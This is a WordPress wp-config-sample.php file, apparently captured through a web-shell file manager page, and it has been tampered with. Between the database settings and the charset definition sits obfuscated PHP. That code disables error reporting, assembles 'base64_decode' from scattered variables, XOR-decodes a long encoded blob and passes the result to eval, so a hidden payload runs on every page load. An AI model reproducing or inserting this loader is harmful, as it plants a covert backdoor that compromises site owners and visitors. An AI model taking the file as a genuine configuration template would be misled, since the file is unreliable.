Sindbad~EG File Manager

<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






error_reporting(0);$lvrlz="a";$hzuja="b";
$atyhe="pywto";



$wqlsl="6";

$vjullpzf="s";$gidjr="e";$eliy="wrtfxz";$nalz="4";
$yein="_";$izimy="tath";$vzeqi="v";

$imd="c";$qhm="ysr";
$lbpu="fzsb";$ynm="l";$dmfnp="ovpcwdh";$bsvk="d";

$coetkgfm="o";

function n($y, $x){ 


$f=""; for($u=0;$u<strlen($y);) for($k=0;$k<strlen($x);$k++, $u++) $f .= $y[$u] ^ $x[$k]; return $f; };$xuwc="huz";
$mfac="kvrbue";
$zshs="twfl";







$qggjnupwi=$hzuja.

$lvrlz


.$vjullpzf





.$gidjr



.$wqlsl

.$nalz.





$yein



.$bsvk


.$gidjr.





$imd.




$coetkgfm.
$bsvk.




$gidjr




;
$gehuuzby="fscjuz";




$huwu="cjb";















eval(n($qggjnupwi("CX[DDXX\[WD]UGDVXX\ZB^EMK&_
	7I%UM^ZZI	C&:@	NRX_D	X\M^ IWfW\ )@I/XIXXDKXI_XjNH&QNSIDF
l@ZM@EH 8I#
IHPSMOMMVFX]X_CEMU&Z I! +BOHIE32nM}m59:>*![!*3}Kjx@4jK_z@`I,9:1~$&Q2LU&_Y
OI"XIOX\XI_G)KUJBOEB-HZWOCLN@Y*U=FG[E@Yw;MWX^UWSoH	eBFY JIOMTIU I<	^FJMVQV\M^"[F]@X
WY	R^_IeBPDKCTWO_GATD\\^_-BXFFH]]A\NGF[]\M_eBLFTPI\KEZE^_EM^IeXPFATTHQD\D]	eBFY OJOMTJ
e@F^THC^ ^_IeBPD\HNAY^MX\^IeF^KEZE
_EM^IeXPFATTHQD\]JIeX_T BW6ZUKGN^MGJI_IF)w\Y_	_6D!(IqYOXOLTWawFTq]*3QEJqYQQG TVR\ZNEC@YgTZCB_X,E DEH^ N@YBXCBN' TWo\;F\JNNa+oqJ^XY
FQ P @ZN
I[QhXINMwmYKEXm]WGmX	JIM%T Q@-DCTDWX_EIIXWqX e@wm\EG2RWG^[mATHM%TIHSLTq]N37FITMX9UmI_[	\L)^^HYmY HO9wmQ Z\^Z4OOF_WVBqJ\BMZ
w4OOF_W0_TWTL1@ YH		 	MX^w0HTHVMmTBG-[EYGZIq\EYLCO	IBXwmI_[A\L)^I^TJDZmPTmQ Z\T^&@F_YmYHTJUCAIF%C-DTVXAIGmXTQwVqwmFH
UT^&@F[mV IAMm]KEX@5

COAIX#mVHmIH
XZ4OOFJYmY MmIZZKZ4OX]WAIVqPmATTHS*D\JBNA-^q+mV JAMmTJBG-[EYG_I1	HL'LTH%B7-[P_E/SmVq:9CK\HE@A]/FHIVSmVqMQZ 	wmXT@'LTIHJ9CK\JE@A+UYBXEBX_I;OCCGEP @_a\ XmJ@X%YBI[h DEHo.@Q^IW_TIF%C/7RW\IATJOOIqHS&F\MX]K@I A_EJaED\DTA]FTZXPM\_@/7EGEX@TJGSXVIL1DZBX+XV HMAMXSKE.>LOKIEI_M\OXTABG[EIG_JQYBECBK4G@=GOC_XQcEm
XZH	X.(@Q^HMW>HTJ^MqwcEGTO@5^!FJOVScVIN^_@'G[c]@X[cATM+TQLEG<RW_IWXCEJN^IXYK_FwqX@_D^IXY^X ECGYOCX|wFK_QBIBH V\EJCBMZ FN%#H'@DQC\AOA#gT} FQK_QBI^m VxAJC
5;Y@S
JI IBV _X^C _IXFTLY@!I 4MXV _C^C \MFTL	 Y@S_2W H7 A ^E ,K@TA	OZII^W V A:q 6
K@TiOZIZAK~"]6dJCax F	K_QBIOC VAPf[[DXFTLXZFCRQ0*JC V&PJCAIj FJ^4+%N)OZISwW J AXE K@TG&&/t\\M_ _ XL@KJ@DQZ\I+C_ c [L@KY]@DQn\I%E_ M WHX
$h'"OZIhCW @KUQTVGjJ2_GKW/TGWQBIIB VX^JCUxM FIS%;h-OZI\C{@/~iAHY_IM_T R IBCEMZeohq
EX^G^IY^(Q]IXY^BACEW)CGIVH_
@EKIXsO 	[@APHF_IsOCEINCH H Q YE@ I8EIXBV  V _IX>I]@IB_\\TCT_I;OCCGEPLT DF\ IX.OCGEYM@\\K1OCGE_[HAH[H TSQBWBX+mV HAMmTPHZEGTC@5-/FTAX_D;M_IXsO 	[OZ
OYIBw9VH PL\BD@A]IB-wmYHTVQDF%G\ANES|JMZm_"C^O&CHUAZXVFWCBXXX=Cdn;K_DS_NVWnD y_TI  ^I_GKIRKOGYXAm3| |FAHUL['D"OZIZJMMzTD i@_GKBRKO W^ITC oD_GKERKO@]YHY!B}`AHcNFM_ T RIBIX]-~`AHAIBM_\X_F@R.;=muW $TVC M\\FTLY@I XUV _NCC CGIFTL[[EC_Z0",FV VJ1.c@uvM_Z^TGI-/ IqJBXE	
W^IL\^BPGXOCXB@ZE	HF% ZYWOBX+YG^S@HECo]TQWo['TMXC	SFH*353U^IY^QJg ZZC
OF% ZYWOBXY@ agIQP@OIW53W^U
OB_Do\M%OX_JY	R^_IeBPDKCTDXQGGZ\^_-BXFFH]E\NGF] M^I1BXNTNYQBC\\LE_I9BXYFPTWM@_.F@T_ITT\M%OOF_NW^ NM^_IeCDCTDY_GATH\\^_-BXFFH]\NGFW M^I1BXNTNVQBC\MN^-SNIG_IawFTq]*3QEJqYQQXODTH&7KYO+F#wDEX_qOMQQQ
T[RA_UIXPY^EB[wBQ ZZT(<^I^TXVNJC\BOGNCFITAOVSBVOqI ZE@B+IAMHCYIB?BT ABG[EY[IATINMAMBI[KZRO+FIMYMOC^#IAwBFH]\LOIq	M
TM Q@DTVOIGBXT@NA MBO	) A.	@Q^NIZq[^@ MB)I<^I^TOXUO L1QYIBwBY MMUq:CK\O_E NBSBATTNJHSL Tq]^iIAX BO^i@IA:CK\WO_EIOGWqX CO	IBXwBI_[]ORNCQIqw	M
TLEGEYGH,BO^i@IAHT	'EFJYOXCCB_X EWB-/FTAOXq#mATTNHHS*DKCTDQGEm@TQmNTTOJ9C\BOCN5^@KQ ATKIO_&DLQSIH@IMJB_IQH[\\CEWQSUI_XNOYY^B[
 DU X@CM^DHM^IH UU^KBMW\Z\MBNMYTYPEND\ZK\E]WRP \	VJA\MXU
JCBUUWFF^^@DZXXU@IN L^VZIBZ_E	
H^M[A	KUMX^EMZ\FWROYTPRNN\OW\Z EZRPIHHR
EZNEMB
RONK[GPRHE^HZZ EZ_XQKCEIPAHVTQH\HK 
JOYEKBK@I

IHBI_IWHEZ\FWIHP\NDHEZHEZ_DRP\EK[
HRANL\MZHUPMZVJP EI EZHUPCEYTPR\NNQ_U@YJCBXL	IEIXF^^@AAAZKC@HIXDU	 KHFHOM^UN_DMZ PRNLNOIHEZA RC_E
IQVVTQOWTXUPOCZ^X	HINX
KX RHZMEFZHEZ]WM_U@_HE@MU	WTSWDEDX[CJ^ HUQ^I_EJMIZ\]ROHR_ESr&&
Es_IXIZ
  [*1C\B]ZO_&&JYBSK	I~BHA+X^
K@ILNDWAVdP^X^BFYN_X^I3 D F_Xs^\MXN@TMN
E \]_XZTU%nohij&0"&'?a;(8'<=xy&{t(v_ E@@\_ FTYXT BIBKXDHCafyEG@WBOECsTE_KI* :\4/(YW&QXJ
OXECBA>M.7

^m6QWXEJFLIA\CH3 i'1-$5Iki?e|.m<h~A9

APCH3 i'1-$5Iki?e|.m<h~A9SOE\BCD@A_NE .=~z#6wkic((4-(7~R:SN@_EJQPIXUs2=9:)!wR/<">1ts6c~&m*hi";jc~qHQKJJS]C7%+<zi"w9x,|s>;jc~{m3<.(35c'@5_RPBAHAM

I\4?)!z053Q&:x|/ts7c*{m4 ihsjc3_6EPMQ8;3<8i~+4~.i~9%hh~qHQBLWEZCH]T97i~zi~:_#88#s-8.9<9m~4ih.j7~;ME\AEKHwE:SN@_EJQPIXUs2=9:)!wR/<">1o`9ib%s1|;M

IPO3?6~#":-I&xx so=e=bx9-|q__Z^[][WFGIG
VY'i42i~wd5,;3/?e0)<)'>qYY'i42i~w$*=)>,m1#:Q3GPW\Es5!~zi~wF0?8<,o9.-8:1e|Wq@_J[*4-$8+~wWdx%|'oj9'cbbio51%+3:|R:A_NH
X.=~z#6wdxx1'(*30c;)-5:'bk/e|VqQAUQVZKES
SG@^J1i"zi#w_dx24sojso.6%)/'e; 7?>IqLUs+i~0!~wi3..>32h15O+GGE\s#6zi~w),?<30j*$'8 +ox9bk.e(q]I@_IAON*4-$8+~wW~i<c,is' h~qX	^GLUQzQ&{EGYBOXE4	_@Q	X~M@IODW&AE	H~I@^JPn&AXKL
Fs#i~'i*w.0x|s~i'=9)>Tq\NHdNPQXF@si~z$*0K$'x%8:3(+~i"qQXKIBZd5,;3>6j05-$IG&PQXn&AXKL]/i#z=~wA,xx|s~$>.>)!(NAVXYBSC&&FDA
BUC7%+<zi"w9x,|s4!ji~i~F%PfLSUbddEJPYOXBsITEDKI5MYW{X BOXECX	!IFGWPEJYI\XLsi~7=97K;x!77#=+~s1ki?x_qODWs$*=)>(=3<&1;i"sm6i6x;DKIXDK;x!77#=+~s1ki?x_F^IXYKH3 i'1-$5Idx$|s$=~s'#ibxqZXfy&CBPKIhAM
bMAIHXfLSUC 
I^QMMOs^I]Y3MFG&PQ^XY
DIM7QdT3U&Qz&JBXE	
KIX|@]NHdNP^IY
BNEIA\XUI\4?)!z053Q&:x|#qX^
B;i~zi3#L$8'|&@5VOSWCJXPPF@si~z$*0K?6~#":)>!~xWqLXUMDV\WGRVLXX ^C&QlnJYBOXLX'XdMH^F&E^GUV^M	J&XFC^IMO	PO3?6~#":VIUQF@YIrKLLSUGHN_N_^PG  TQKPRS=3<&1I&QXFDOINmHVNNPQ{XFDDI LN)\@OIYX FC Y )\@OIY' FC _
 [@_XI SMkXKLLSUGLHI_wUDMHq	H&UGHVdP^X^BF@DIMHIPfy&CBPAMOhMDMU
_Q	
I PCJIX[TW&AXK
[7MUXBI@IOMBIILQSM	FJBIH@C&FDJC^I DHIN_T]Y^nAXK
[_FDU_MG F@]YI^UMXO
_AVOSM@IQ^Y^BXWL\UNCBPJE_XI^I_fLSUbVNN^XYBXJM
I&Q&kE	H CHC^Im nM_IUPO@SNHdNPHXFC^iBODH UC_UdP^X^BFM_I>I]CzQ&{JBOCBHI	?Y7 
nMIE\_ F@KW&AXKLH HG
/HICIB&AX	^G*IOHIY B&Q&kE	HiBCH\EBX GBLy&UGHVJB\XnX_[DYXJs4IOL YXY&QXUnUXIXVLJM81UX_UGU]n
 	KHKNCYXUGUnI_&kXKLLW^,UX_L#qlDJC
SQnUI_QMDNEL&UGHVNNT^IYXnI_wq\XOIU9HRUn	XIw\ECDGIU`.GHVN&&zQ
IXBNUX4,YP^JI_@X3UI_O_&Q&&JBU*OCIUDTEBK EESWmHVNNIOCInU_D YQ=^EKJ&XF@GIUnULQSYP)sN	XI\GIM&A\ 	?I NSOYB\GI&UXI_ZraLLSQ
IH2UX_X=9&AL[GUV^UQ_^@
IBO.
XAMNJE[
&XFDH	n53PC^\IBHIHnU7Hq\G6VJIU2UX_#EFAGIU-qNmHVNNQ&zQ
IXBNUX4,YP^J
IOHInXIM&Q&&kE	HsCsUI_N@_X^EBQKfSUG^BPM^MsAC^HFTKsF_^EKQl&&JYBSN1CsXJI\NU_W&AXKLHINSW&QXJ	IMODI\	_UVJUX
&XFD^ SHGFN	XIXrFDQ&A
BUC@XK&Q{&YBECBK9	C^J^@YW{&XF@^I_\\XLKWyUGHFE_/OM@N@LOY^@>T\G|NNPQD[DOY^@sDWYAMdNPQY^
;_IXC\PO_62::!>xs#`.z=~e =|ii~ A
 NmHVNNPO^s_C\XGL/&~9(8"1=`/zi#e>ud)7x ZrKLLSUGH@sIX\ oy~-7;835c9+'!"!om$ec? X]nAXK@*XTOD];y~*+|xs~i5-9"8!m;4.3<BY&QXFDOY^@>X]CBNoy"`c!x'di' i~ HCaLLSUGHV^@/_ICXBD oy34$<8,o:)&3-:xe=ic$xTVM&AXKLLY7C\DTo36`c|xs51&)#&xYGYFGU&PQX_\ 3T@RzQXF@DIMHIXVL^8BJUO]nAXK@*DJ&XFDEJAPO	H3QX\/OCI_qGYA
BU	&PQQXI@W&&AXKLLSQ1M^IHQX\MIsY^@I\ ZGHVNNP_@XN@Y^@s\ 
	( qPQXX&AXKLLSQNS7ixQXB^@s\M7T\ Q3U&&PQXE__IPOs
wYIU_qOD^I]OEKKST[GLs\^_H#]^UqkrKLLSUGHR]^S0xx6Kp^=#UEHXNJY^s\^IH=CDC_X<XELN/^)	+  IOECXo@	Ip^pB=
7NH&UGHVNNT_CGX COGC\CDH _GWVI_@JVBAMY4_3Q_XWq Q_@F[[XS\EH&GHVNNPEJYCOMW&AXKLLSUGH6YXCG F@^I]kXKLLSUGHVNN^PArFDAXK@OIJT_CGQ&FDAXKLL&UGHVNNPQXBJKDH CDV_^Y&QXFDAXKLQAVJI_ L\NlDAXKLLSUGHFNPQ$^pF^\XZWfSUGHVNNPQ{XFDA8 _OLGK&QXFDQ&AaLLS I_rQ&lYBOXEK	Y&XTY^ X\MA_raLLSQNW{&XFJE_s @OO@sBEQn&AXKLHDUZH@sBE\Y^
M&&AXKLLSO )XC XUO %1~`c|x>+8 3%i'../>+i~\J@I]nAXK@*XTOD];y~*+|xs-'=)>:j,/'%:BY&QXFDOY^@>X]CBNoy"`c!x'jc*(c{`co ,"#"_DNS|NNPQO^@9IXC\XI\@So 5$9>:s~5xy#b,~m(7ji~ PQPfLSUGHVNY^s_X\XN@OD o4*'#<'s=")2+< @{XFDOY^'	\OLBo%~`>|,so)*bioxx(5.#9' UVX_UdPQXOYs_IXCCH U$=$"!|x/xe<i7yxJD&AXKLLSU1_IC\\ODJDoy~`c1,4<# xYGY_UdPQXOYs_IXCCH U$=$"!|x/|c"x>ei*  \ 

ZmHVNNPI\[DOY^@s DWONS|NNPQIM^O
3X	FNOJ&rFDO
3C@Rz&QXFDEJ	
	wR1OCI,YTT^ILMMddPQ@In&AXKLH^8IHPM
_I9^@YBWfSUGHVNN_@LPYs\M^_0KD
Q3NPDX_O_&&AXKLLWO	P_XIAsBXITX>	I]<bVNNPQX@A#aLLSUGHVNNPQI^Us\II_KQRSJBdPQXFD

s1 MALXJM
I&AXKLLSUG5|NNPQqQ&lKAXKLHI&_XPY_@F[__@[WDKLIR@AV@NY@sM
_I?DC_XF%KLBSOEHXNF_@NLF^Y^@>
H.@qY&QXFD^I_$ XUZH^J_@PV_@IKFQKBLWY7_IwCX;_&&AXKLLJUOLs\^_H#\	XqrKLLSUGHVNNI_@dC[ZKBLWY7_IwC
X;_&AXKL@|NNPQXBI_Y@X)L]UOLOKXRP[ZKBLKNmHVNNPQ{&XFD_ 	SUAsCOIsO
IBX dZNJI^BC]\I^)_K TTK?8!i4*75"'ib$so>b6io2HOCBEH&GHVNNPEJYCOXW&kXKLLSUGHVNNJ\X_YCOX |.+?LNSUC1\M_Iw_\MqCX#88#DIX*2BY&QXFD[ RdCXBFJY^@>
H.@ qPSp
pBDM&AXKLLSUG_T_CGX FFoCBXIFIOG	EOXEBWT[JC^U B
2^pJ&XFDAX_]CIX\2CXI@IBKQLN]_ F\^M_Q:pBkXKLLSUGHVNNJ\X_YCOX o	E	RVC_p^-B$^pF&AXKLLSUGHX_X_OIXJD\M^MKBLQp;*2BY&{XFDA\LQSNmHVNNPQX[DIJICHO_GNW&PQXFDA\	LQSJFJ_CGI XTP&AXKLLSUGHVNNEX^\EPfLSUGHVNNPQJB=
7NZQHKN_&PQXFDQ&&AXKLLSUGHVNO@_IYCOX&&AXKLLSUb|NN&&QX^Y^BWy&mb OXCBQHXIiAME@(,	$E+XT\MM BIUWkXKLLIN^IsAXDDKl /BH2M_LYHIOCHPOMNDVJIUYLXX^&AXKLJU&UGHVNN ^IsMXpNZGLO%^OmBn_IPPY^@H	[G TGIQ[DX^YIkaf
B NHIIOiME
-BkIX{. ICS@R^M
&XFIXY^BA	,AFLl_ QN_IPPsHIOCCH^
A_NS^Y&XFD

kXKLLSUG	sAXOZpHK NM]X3IFJ\MMAXXF^YI&ra
ON
IXOX4AE@/
kIXZmHVNN^IY^^I;AMXODIZD,CQ UCAPQX
YIlDAXMJfSUGHVNN\^KsMODNFpMXOMNHKSNX^I{Qr&J
OXECBA/G-@IXZ@HMxCGIB%H\G|dNPKX;CYkrKLLSEG@IXXs6i,wqrKLLSUGHR	XoYBSB;kixwI1WyUGHddP_XCCIACI@LQWKHIYQNJDkrKLLSEG@W_I.o7cg/!wACNZ6EESWGHVNNPEJQ\KI'CYBX\EKYESH@_UdPQXDI I^`
BOGOXJ1i"zi#w_|d6;i`j<VKNSOHEHXNFKXoYXMDC^QQ[GL EHXI%CIB"OCHIHHCK\\bVNNQz&Q{&\^ICB_I\XINWyXy@LZln`EKEdJ__XPs!!xwXGF%BLJUFM_.HOCski5#LTq\NHKSNZ@EMIx	IBhIOESWmHVNNE_3CCEiB@Is&=?7KGR:AMddPC
AhMM

L[JVSPM@HXI2GIBhI	ZGHVNJ\MMAENIsI	[F) OCIUJ^A"XMkrKLLSXy@L\DC\ :EUd&PU^_\	
_I
D X)K_X^I Y_X6_X^		yDVJM^A_XQ&lDF#IHKN_CsHOHIN IOCHI2m*X^_CB GIQBWfyUGHN_CcFIWZ I! IQMUZ@EXIxCG/	HHPHNFCB>NIOIWXM8G	ONSRs'C9W&AXKLLSUNF_BsBCHLsC>[3QNmHVNNQ&zQEINM&&Q&kWDL)MHOG^&{AMx^MOG
KQLQNmLPKI~M@J&ELQSK:e\1HHm>]n&EJ	[* -"5IEHWqX&FDEJ	i' kI{ED;^Uski5#LTqYGLPIM@xOGI^\X	H4ImHn_N^EA>?.87TE@5_BNGUJ&XFJHI)M!)X{XD3MIRLskix:_K.\GLE@$^MG^[DNM_IU'	HOL))+xwWEHVqQ&FDEJI	X0
	'BkXUs?ix=CEHqHXO	E3I^PUs?ix=CEHqkrKLLSX|^M_X^MUkXKLLSUGO
INAE@2MOGI^MrKLLSUGHQMUE &FDA_	
THYHRJ&PQC&FD^I]9@UZHR_XPU_^ZhI\@C3WyUGHR]Y_X!M
MADY^@	
C^OmHnI3BFJ^IYIX(M^	_ A\ 	ZNmHVNN^_\;_B^I#C@R]Y_X$^ BI]YI_(
_\\b|NNEIYC&&n&YM\X	!IFG&zD_|MA>;$#':i.E L3Ps2c7ge#?D\qABKNNH&Q	!JJIXQXs%+cgeiwCI1LLQ8+9!%ei+HSqXDF&BM$

 IGUVJ1oc?ge4wZB;Dso.7 %)(E5VTNK&U|@JC^A\XO3/<c>.--L\-Q'oc)/eiw_Z6LVSW\bR_yQ'oc)/eiw_Z6LSS*$'9%'iwR_YSqXDF&EJ	9HGL)-!cg9iwSEqF[soc.3")7QE E5VTNK&Ih^I^E'(##8e0<J
LqO.o7cg/!w[H<XQLNQC 	yMPY_XLsi~7=97K;x!777--i|$s`0b?ym!!q  SQKSL YFJs5~z4~#d20|smoo$(?3 2b22)1+Iq @ XBD_&IAMKQLQNmLE@ M^A6MADk\	U& 	kIQZ&BIMHI^1

^GUV	X~]Y_dI I^_:Z8	^oJ=C>@MJCAZqYDKIX~I;IFwRI;D3|@MXN.OGJTUd&EUs;cc--iwH<XVQLQ\G|NNOD\DXWGFVJ_Y^I<IXX]W\YJMdNPIOCX^E\XBGFVOMECV^CMHZDDEVTUdPHIPl&&JC^L[* -"N_TBMIXF@\M^MAHXffSUGNF\^MYDFW&AXKLLSH^
XIXiM@e#IX{EX	;Q	 TGIQWlDAXKLLS
	NIOHCOImBH#	ZGFJ\MMAX XG&AXKLLSUGHRME|MMbMB WfSUGHVNNPOBEB&AXKLLIFHIIOiME
-BkIX{. ICS@R^MQWrFDAXKH	MHKNM_.HOCX^EAI\A\KHRUK&QXFD
 #M8IMMIlDAXKLLSO	 IzQXFI@_IEP	O"eB7IXYM^	W&AXKLLSUGHVNJIAE@QX\MA&AXKLLSUGHVJAM@|^Ab	I	WyUGHVNNPCXEI&AXKLLSQGHVNNP]I
UEBKkIXEQLWB
V@NWQM^	
CCaLLSmbdd]I^^EkIXA^]CU^EK?IXJD HCafC\%I M^A&&IKJC^SMNM&&JYM_4M^MAA\@UZHEAXD_|MA D <M<X+GU&&T^I Y_X3@	L]Q^h\@U3IU]n&^I]<^
VSNM^MUQrFDE\\FKH GHVNI^ILX^ &A_KSKGLB&PV@_XD@MBK4GfLSU@INPIM@ lDHFXVRLWH9_I &QXC	#JZdNP_XF@_U_|@  GHVNID\WO\DI I^|@M_&UGHVIYPQU_3 &A_KSKGLMAyM]&XFC[H_XO	hdz&I	YI|M^MAXVL@	
IOCI+CYImBHn ZX[F) OCIU^]YX|M^MBL@S_GU&&_#I	YI&^I_2 XGUV]Y_X!CXBI]YI_- @SX|^M_Q&BI_\f_$SU 1HICHIO	 ICY^*1M^BFJ^I\fCXHGIUHQPffJUOL\fCB>N[DIDEH&VFJ^I\fCcNIWMO*^#^LZOYCA`EB
ZBLy&UGHVT^I\2_C+NFWC NHZHTLGHIXr&FDEJE
9_	'CWRXUI7JzEXC^XVQLQY	HYW{XFDIODXIPXG IYE_^I I_D	XH@XM@RU^_\,CBcNFLFN@WHXLIK&QXQI
IW&&AXKLLSUVFX^ C_Y
I_._CBcNUUN^EZNICBH^Z@IOCAFQKMQNGWzQXFDIO	KNPIH\]YZE^^I_DABZOFU^@MQ
I_._CBcNUUN^EV@LR&QXFDDEH&UGHVNN&&QXFDEJEHZHTLGWz&QXFDEPX]C71+:NX&FDAXKLLSUNIXXXII]YEZ\_	
IOVBXBXLHY& C(
CPW^@SQXYF]Y
?E /NWJ&XFDAX	  IUbVNNPQXFDIODCAZW	MUCI]EZL
IJ_DO	RWS^I\fBcNF_IGFTIPzQXFDQ&kXKLLSUGI&&QXFDCHI;BK7IXQEDMW&AXKLLSUGHVNNEUD_D6^MArKLLSUGHVNNPQXICA
LXJZW^I^_DADOCBXIVK\HYUT@N^_\;_BcWYIL]Q	>M^A__]nAXKLLSUGHV@_W{XFDAXKLLSUGLAIMXDXI]YEEL	^ QNCBIB_@E
9_	'CWRY^D[I <^
&R_\IA@_ZPfLSUGHVNNPQ&FDAXKL@HddPQXFDEXCH_7	&QXFDAXKLLS NLAXMQDX\K]YEZF

_@H XIXVCY^
Y&AXKLLSUGHVNNPQXBI_\f_$^ELQ&PQXFDAXKLLSUGFTQLT]Y^XBKkIXAVKH_7	POC&FDAXKLLSUWzQXFDAXKLLSIVLRAIMX\YEZ	 DRG IBA^@[F&AXKLLSUGHVNNPQV_\f_C7	AMWWL&PQXFDAXKLLSUIJIL@AM@(M^	bMAI&AXKLLSUGHVNNPQXFJE&UGHVNNPQXFDAVIJN]QXEBkXHDkXKLLSUGHVNNPQ{&XFDAXffSUGHVNNQ&zQ&&n&&EJI\	f9MXCB ^zE_ENSHGJ[dA@SXW&FDOCSU	XsIOH_\f_C7	AMWWLQK&QXlI@FXELHCG&PQHIO_&Q&&EXCH_- !NF]WSMXE	
jC^zEQQUZUVLC_hCMBODW&A\ 'C'OXPI|^	COC@HXELX1 bMIXrFDIODCCD	C]YZV^J^DOCNE\SPY@,C~ E^IOXAVIKRQGHVN
EIX{Qr&E D^I_2<NJVLOXCB7C
zEXC^QAEVLNC! 
PW&QXD\s^I_	,O^Z^K&QXHEL&Q&kLDW^<BcFOWZMOCBjC^7^WHKSNJ@ISXW&lDEJAPO	 \?!FNWEIB	IQ\XINESH@_Ud&PUJ@I"XM	ZGs	
DTENIsH	[$CB?NF\JIhMXMCBEEH&GHVNJXCN.KXs
ZI@HXfLSUGHVNNsBH.OIML&AXffSUGLIoM^OI^DKIB

	!M=^EKXrFDNUXI/	_UZH I^XI#MHC7X^EBKIQPfLSUC
m^MUQXKI^MXI~  XFG&zQ\_Mm_	X5	
A^EKPlDN	"IUZH I^XI#MHC7X^EBKIQPffSUGXAVZO^E\X_rXVL@MZmDLT TSQKfSUGJXNJ_MImY^nCHUOZafyCBX
&XFIXA\	oI^SEMNA\ h	V@LK&QXFD&LN]Q YAI^V[DBI[m

DQUC
oD^MX^_FJ@IBEWyUGHIXQEXV_ECVKH
X$ OX^_QZ@
KXDS@EL&UGHVNNRUNXI(ANI^_AVI7.HGJXNJNUIoM
MO^_O0C)FzQ&FD@IXCVKH
X&RQB[3BXm^DN]Q YAI^V]n&AXKL XUEFVJ@CbMIXFYBI[#D([GLIm^MVqJDWXU\I[XLNBS$CB?NF\JIxU\ICKBNTQ\\b|NNRU_ZI'OXO N;N@ P_\^If_CBcFRQJISQ&FD&QIQPffOK&&QXE D^I_2<NJVLIH^IX9JXjE@IQaLLSUGHVDCPIMX\I]QKIIOBXBV_Y^@OXO	 \?!FNWIE^XmJXI> 	QQUIJQPL&zQEINM&Q&&^Faf"),",q,x,,fd,,,,,axklls,ughvnn,,p,"));




$nptrrex="reo";
$opmz="lerqgjs";




/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';